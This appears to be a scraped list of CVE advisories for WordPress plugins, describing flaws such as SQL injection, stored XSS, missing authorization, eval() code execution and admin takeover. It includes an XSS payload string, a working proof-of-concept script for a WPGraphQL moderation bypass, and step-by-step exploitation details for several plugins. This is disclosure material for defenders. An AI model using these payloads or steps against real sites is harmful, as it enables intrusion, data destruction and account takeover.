CVSS v3.1 |
| The Responsive Plus WordPress plugin before 3.4.3 is vulnerable to arbitrary shortcode execution due to the software allowing unauthenticated users to execute the update_responsive_woo_free_shipping_left_shortcode AJAX action that does not properly validate the content_rech_data parameter before processing it as a shortcode. |
| The WP Lightbox 2 WordPress plugin before 3.0.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). |
| The LeadConnector WordPress plugin before 3.0.22 does not have authorization in a REST route, allowing unauthenticated users to call it and overwrite existing data |
| wpDiscuz before 7.6.47 contains a cross-site scripting vulnerability in the customCss field that allows administrators to inject malicious scripts by breaking out of style tags. Attackers with admin access can inject payloads like </style><script>alert(1)</script> in the custom CSS setting to execute arbitrary JavaScript in user browsers. |
| The Easy Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Gallery shortcode post meta field in all versions up to, and including, 1.5.3. This is due to insufficient input sanitization and output escaping on user-supplied gallery shortcode values. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. |
| WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content. |
| The LearnDash LMS plugin for WordPress is vulnerable to blind time-based SQL Injection via the 'filters[orderby_order]' parameter in the 'learndash_propanel_template' AJAX action in all versions up to, and including, 5.0.3. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. |
| The Product Filter for WooCommerce by WBW plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check in all versions up to, and including, 3.1.2. This is due to the plugin's MVC framework dynamically registering unauthenticated AJAX handlers via `wp_ajax_nopriv_` hooks without verifying user capabilities, combined with the base controller's `__call()` magic method forwarding undefined method calls to the model layer, and the `havePermissions()` method defaulting to `true` when no permissions are explicitly defined. This makes it possible for unauthenticated attackers to truncate the plugin's `wp_wpf_filters` database table via a crafted AJAX request with `action=delete`, permanently destroying all filter configurations. |
| The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to unauthorized account destruction in all versions up to, and including, 3.1.38. This is due to the `super-unsubscribe` AJAX action accepting a `process_now` parameter from unauthenticated users, which bypasses the intended email-confirmation flow and immediately triggers irreversible account anonymization. This makes it possible for unauthenticated attackers to permanently destroy any non-administrator user account (password randomized, username/email overwritten, roles stripped, comments anonymized, sensitive usermeta wiped) by submitting the victim's email address with `process_now=1`. The nonce required for the request is publicly available on any page containing the `[unsubscribe_form]` shortcode. |
| The JetEngine plugin for WordPress is vulnerable to SQL Injection via the `listing_load_more` AJAX action in all versions up to, and including, 3.8.6.1. This is due to the `filtered_query` parameter being excluded from the HMAC signature validation (allowing attacker-controlled input to bypass security checks) combined with the `prepare_where_clause()` method in the SQL Query Builder not sanitizing the `compare` operator before concatenating it into SQL statements. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database, provided the site has a JetEngine Listing Grid with Load More enabled that uses a SQL Query Builder query. |
| The Smart Custom Fields plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the relational_posts_search() function in all versions up to, and including, 5.0.6. This makes it possible for authenticated attackers, with Contributor-level access and above, to read private and draft post content from other authors via the smart-cf-relational-posts-search AJAX action. The function queries posts with post_status=any and returns full WP_Post objects including post_content, but only checks the generic edit_posts capability instead of verifying whether the requesting user has permission to read each individual post. |
| The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to SQL Injection via the 'merged_question' parameter in all versions up to, and including, 10.3.5. This is due to insufficient sanitization of user-supplied input before being used in a SQL query. The sanitize_text_field() function applied to the merged_question parameter does not prevent SQL metacharacters like ), OR, AND, and # from being included in the value, which is then directly concatenated into a SQL IN() clause without using $wpdb->prepare() or casting values to integers. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. |
| The WP Job Portal plugin for WordPress is vulnerable to SQL Injection via the 'radius' parameter in all versions up to, and including, 2.4.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. |
| The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized deletion of quiz question answers due to a missing capability check in the delete_question_answer() function of the EditQuestionAjax class in all versions up to, and including, 4.3.2.8. The AbstractAjax::catch_lp_ajax() dispatcher verifies a wp_rest nonce but performs no current_user_can() check, and the QuestionAnswerModel::delete() method only validates minimum answer counts without checking user capabilities. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete answer options from any quiz question on the site. |
| The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: "custom" with {this.value}). |
| The Jupiter X Core plugin for WordPress is vulnerable to limited file uploads due to missing authorization on import_popup_templates() function as well as insufficient file type validation in the upload_files() function in all versions up to, and including, 4.14.1. This makes it possible for Authenticated attackers with Subscriber-level access and above, to upload files with dangerous types that can lead to Remote Code Execution on servers configured to handle .phar files as executable PHP (e.g., Apache+mod_php), or Stored Cross-Site Scripting via .svg, .dfxp, or .xhtml files upload on any server configuration |
| The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Content Access Rules REST API endpoints in versions 5.0.1 through 5.1.4. This is due to the `check_permissions()` method only checking for `edit_posts` capability instead of an administrator-level capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to list, create, modify, toggle, duplicate, and delete site-wide content restriction rules, potentially exposing restricted content or denying legitimate user access. |
| The Contest Gallery plugin for WordPress is vulnerable to an authentication bypass leading to admin account takeover in all versions up to, and including, 28.1.5. This is due to the email confirmation handler in `users-registry-check-after-email-or-pin-confirmation.php` using the user's email string in a `WHERE ID = %s` clause instead of the numeric user ID, combined with an unauthenticated key-based login endpoint in `ajax-functions-frontend.php`. When the non-default `RegMailOptional=1` setting is enabled, an attacker can register with a crafted email starting with the target user ID (e.g., `1poc@example.test`), trigger the confirmation flow to overwrite the admin's `user_activation_key` via MySQL integer coercion, and then use the `post_cg1l_login_user_by_key` AJAX action to authenticate as the admin without any credentials. This makes it possible for unauthenticated attackers to take over any WordPress administrator account and gain full site control. |
| The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to time-based SQL Injection via the ‘orderby’ parameter in all versions up to, and including, 4.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. |
| The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to unauthorized access of data due to improper authorization checks on the userAccessibility() function in all versions up to, and including, 2.2.10. This makes it possible for unauthenticated attackers to access protected REST API endpoints, extract and modify information related to users and plugin's configuration |
